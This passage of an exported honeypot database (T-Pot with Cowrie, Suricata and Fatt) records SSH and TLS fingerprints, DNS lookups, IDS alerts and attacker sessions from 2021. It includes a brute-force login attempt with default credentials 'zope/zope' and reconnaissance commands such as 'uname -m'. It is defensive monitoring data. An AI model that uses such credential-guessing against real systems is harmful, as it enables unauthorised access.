"771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35760, "dest_port": 443, "timestamp": "2021-09-20T11:51:34.865911", "@timestamp": "2021-09-20T11:51:34.865Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
32388	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:51:36.2609+03	2021-09-20 15:00:03.419716+03	{"_id": "gwYMA3wBvYTbRNuEF0r7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "203.176.71.44", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 36372, "timestamp": "2021-09-20T11:51:36.260900", "@timestamp": "2021-09-20T11:51:36.260Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
32389	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:51:36.584548+03	2021-09-20 15:00:03.421716+03	{"_id": "iQYMA3wBvYTbRNuEGUpo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "4a83ec07e2b4", "@version": "1", "timestamp": "2021-09-20T11:51:36.584548Z", "@timestamp": "2021-09-20T11:51:36.584Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
32390	203.176.71.44	109.199.241.180	Suricata	2021-09-20 14:51:36.583852+03	2021-09-20 15:00:03.422716+03	{"_id": "jQYMA3wBvYTbRNuEGkrb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "203.176.71.44", "dest_ip": "192.168.20.116", "flow_id": 1280709684049734, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 36372, "dest_port": 22, "timestamp": "2021-09-20T11:51:36.583852Z", "@timestamp": "2021-09-20T11:51:36.583Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
32391	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:51:34.814129+03	2021-09-20 15:00:03.424717+03	{"_id": "dwYMA3wBvYTbRNuEE0oJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 6277, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 3180, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 316068619249794, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 48972, "timestamp": "2021-09-20T11:51:34.814129Z", "@timestamp": "2021-09-20T11:51:34.814Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
32392	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:51:34.570426+03	2021-09-20 15:00:03.425717+03	{"_id": "eQYMA3wBvYTbRNuEFEoR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35758, "dest_port": 443, "timestamp": "2021-09-20T11:51:34.570426", "@timestamp": "2021-09-20T11:51:34.570Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
32393	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:51:36.255982+03	2021-09-20 15:00:03.426717+03	{"_id": "igYMA3wBvYTbRNuEGUpo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 203.176.71.44:36372 (192.168.176.2:22) [session: 4a83ec07e2b4]", "session": "4a83ec07e2b4", "@version": "1", "protocol": "ssh", "src_port": 36372, "dest_port": 22, "timestamp": "2021-09-20T11:51:36.255982Z", "@timestamp": "2021-09-20T11:51:36.255Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
32394	203.176.71.44	109.199.241.180	Suricata	2021-09-20 14:51:36.58394+03	2021-09-20 15:00:03.427717+03	{"_id": "jAYMA3wBvYTbRNuEGkrb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:51:35.931654+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "203.176.71.44", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1280709684049734, "payload": "AAADzAYUQWwojC6Q17DVw7akAulfGQAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 36372, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:51:36.583940Z", "@timestamp": "2021-09-20T11:51:36.583Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......Al(..........._....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
32395	203.176.71.44	109.199.241.180	Fatt	2021-09-20 14:51:36.58394+03	2021-09-20 15:00:03.429717+03	{"_id": "jgYMA3wBvYTbRNuEG0rk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "203.176.71.44", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 36372, "dest_port": 22, "timestamp": "2021-09-20T11:51:36.583940", "@timestamp": "2021-09-20T11:51:36.583Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
32396	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 14:51:37.978905+03	2021-09-20 15:00:03.430717+03	{"_id": "kAYMA3wBvYTbRNuEIUo5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.login.failed", "message": "login attempt [zope/zope] failed", "session": "4a83ec07e2b4", "@version": "1", "password": "zope", "username": "zope", "timestamp": "2021-09-20T11:51:37.978905Z", "@timestamp": "2021-09-20T11:51:37.978Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
44879	192.168.20.118	109.199.241.180	Suricata	2021-09-20 16:42:24.537574+03	2021-09-20 16:45:02.235593+03	{"_id": "sgZxA3wBvYTbRNuEiqsx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.118", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T13:42:24.537574Z", "@timestamp": "2021-09-20T13:42:24.537Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
32397	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:19.531397+03	2021-09-20 15:00:03.432717+03	{"_id": "KQYLA3wBvYTbRNuE1kry", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 8, "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "src_ip": "81.71.14.9", "ttylog": "log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0 seconds", "session": "168e4f4c79b6", "@version": "1", "duration": 0.5681767463684082, "duplicate": true, "timestamp": "2021-09-20T11:51:19.531397Z", "@timestamp": "2021-09-20T11:51:19.531Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32398	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:18.963849+03	2021-09-20 15:00:03.433717+03	{"_id": "KAYLA3wBvYTbRNuE1kry", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname -m", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.command.input", "message": "CMD: uname -m", "session": "168e4f4c79b6", "@version": "1", "timestamp": "2021-09-20T11:51:18.963849Z", "@timestamp": "2021-09-20T11:51:18.963Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32399	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:21.475155+03	2021-09-20 15:00:03.434716+03	{"_id": "MAYLA3wBvYTbRNuE3krD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 44, "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "src_ip": "81.71.14.9", "ttylog": "log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0 seconds", "session": "168e4f4c79b6", "@version": "1", "duration": 0.5760011672973633, "duplicate": true, "timestamp": "2021-09-20T11:51:21.475155Z", "@timestamp": "2021-09-20T11:51:21.475Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32400	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:21.873279+03	2021-09-20 15:00:03.435717+03	{"_id": "MgYLA3wBvYTbRNuE3krD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.command.input", "message": "CMD: uname", "session": "168e4f4c79b6", "@version": "1", "timestamp": "2021-09-20T11:51:21.873279Z", "@timestamp": "2021-09-20T11:51:21.873Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32401	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 14:51:22.442299+03	2021-09-20 15:00:03.436717+03	{"_id": "NgYLA3wBvYTbRNuE4kqs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 6, "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "src_ip": "81.71.14.9", "ttylog": "log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0 seconds", "session": "168e4f4c79b6", "@version": "1", "duration": 0.5696520805358887, "duplicate": true, "timestamp": "2021-09-20T11:51:22.442299Z", "@timestamp": "2021-09-20T11:51:22.442Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
